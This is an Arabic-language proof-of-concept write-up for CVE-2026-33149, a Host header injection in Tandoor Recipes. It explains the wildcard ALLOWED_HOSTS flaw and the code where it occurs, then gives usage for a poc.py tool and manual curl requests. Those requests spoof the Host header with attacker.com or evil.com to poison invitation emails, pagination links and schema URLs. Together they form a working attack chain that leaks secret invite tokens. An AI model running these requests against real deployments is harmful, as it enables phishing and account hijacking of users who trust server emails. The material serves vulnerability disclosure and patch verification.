
إثبات مفهوم لاستغلال CVE-2026-33149، وهو حقن في ترويسة المضيف (Host header) في تطبيق Tandoor Recipes يتيح تسميم روابط الدعوات وتسميم ذاكرة التخزين المؤقت. يتضمن وحدات لقبول المضيف، والترقيم الصفحي، والمخطط، وتسميم الدعوات.
يضبط Tandoor Recipes قيمة ALLOWED_HOSTS = '*' افتراضيًا في settings.py، مما يجعل Django يقبل أي قيمة في ترويسة Host الخاصة بـ HTTP دون تحقق. يستخدم التطبيق request.build_absolute_uri() لتوليد عناوين URL مطلقة في سياقات متعددة حساسة أمنيًا. يمكن للمهاجم الذي يستطيع إرسال طلبات بترويسة Host مزيّفة إعادة توجيه جميع عناوين URL المولّدة من الخادم إلى نطاق يتحكم به المهاجم.
التأثير الأكثر خطورة هو تسميم روابط الدعوات: عندما ينشئ المسؤول دعوة مستخدم، يحتوي البريد الإلكتروني المرسل من الخادم على رابط يشير إلى نطاق المهاجم. ينقر الضحية على بريد إلكتروني يبدو شرعيًا، ويتم تسريب رمز الدعوة، ويستخدمه المهاجم لاختطاف عملية توفير الحساب.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — تحييد غير صحيح لترويسات HTTP لصياغة البرمجة النصية |
| CVSS v3.1 | 8.1 عالية — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| الإصدار المتأثر | Tandoor Recipes ≤ 2.5.3 |
| البائع | TandoorRecipes/recipes |
| معرف التقنية | الاسم | الصلة |
|---|---|---|
| T1557 | خصم في المنتصف | التلاعب بعناوين URL المولّدة من الخادم لإعادة توجيه حركة المرور |
| T1566.002 | التصيد: رابط التصيد الموجه | بريد الدعوة المسموم يحتوي على رابط يتحكم به المهاجم |
الملف: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
يُعد ALLOWED_HOSTS في Django إجراءً أمنيًا يتحقق من ترويسة Host مقابل قائمة بيضاء. يؤدي البدل الشامل '*' إلى تعطيل هذا التحقق تمامًا، مما يسمح بأي قيمة عشوائية.
الملف: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
يبني request.build_absolute_uri() عناوين URL باستخدام request.get_host()، الذي يعيد قيمة ترويسة Host الخام عندما لا يقيدها ALLOWED_HOSTS. يتم تضمين معرّف الدعوة UUID — وهو رمز سري — في عنوان URL الذي يشير الآن إلى المهاجم.
build_absolute_uri() لعناوين URL الخاصة بـ next/previous┌──────────┐ ① طلب مزيّف ┌─────────────────┐
│ المهاجم │ ──────────────────────────────→│ خادم Tandoor │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
تستخدم "attacker.com"
│
▼
┌────────────────┐
│ خادم SMTP │
└────────┬───────┘
│
③ بريد إلكتروني برابط مسموم:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ الضحية │
│ (ينقر على الرابط) │
└────────┬───────┘
│
④ إرسال UUID إلى المهاجم
│
▼
┌────────────────┐
│ المهاجم │
│ يستخدم UUID في │
│ الخادم الحقيقي │
└────────────────┘
requestspip install requests
# تشغيل جميع وحدات التحقق مع المصادقة الأساسية
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# تشغيل جميع الوحدات مع ملفات تعريف الارتباط للجلسة
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# تسميم رابط الدعوة فقط
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| الوحدة | الوصف |
|---|---|
host-accept | يتحقق من أن الهدف يقبل ترويسات Host عشوائية (ALLOWED_HOSTS = '*') |
pagination | يؤكد أن عناوين URL الخاصة بترقيم صفحات API تعكس النطاق المحقون |
schema | يؤكد أن عناوين URL الخاصة بخادم مخطط OpenAPI تعكس النطاق المحقون |
invite | ينشئ رابط دعوة مسمومًا — ناقل الهجوم الأساسي |
all | يشغل جميع الوحدات بالتسلسل |
1. قبول ترويسة المضيف
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# المتوقع: 200 (ثغرة) | 400 (تم التصحيح)
2. انعكاس عنوان URL الخاص بترقيم الصفحات
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# المتوقع: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. انعكاس عنوان URL الخاص بالمخطط
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# المتوقع: http://evil.com/...
4. تسميم رابط الدعوة
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# يتلقى الضحية بريدًا إلكترونيًا: "Click: http://attacker.com/invite/<uuid>"